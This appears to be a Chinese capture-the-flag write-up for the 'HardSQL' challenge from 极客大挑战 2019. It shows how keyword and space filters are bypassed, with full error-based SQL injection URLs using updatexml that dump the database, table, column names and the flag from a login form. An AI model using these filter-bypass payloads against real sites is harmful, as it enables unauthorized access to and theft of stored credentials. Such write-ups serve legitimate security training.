[极客大挑战 2019]HardSQL



♀尐吖头ヾ 提交于 2020-08-12 07:31:15

使用字典fuzz一下,发现过滤了空格,and,1=1,union,select,sleep,=等关键字
但是没有过滤informaion_schema,updatexml等关键字,说明让我们使用报错注入,
and被过滤可以使用or或者异或^代替,空格被过滤可以使用括号代替

查询数据库
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

 查询表

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

 查询字段

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123

查询数据

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123

 发现flag只有一半

 可以使用left(),right()来进行拼接操作

 http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

 

 http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin'or(updatexml(1,concat(0x7e,   (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

 

 便可以获得flag

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!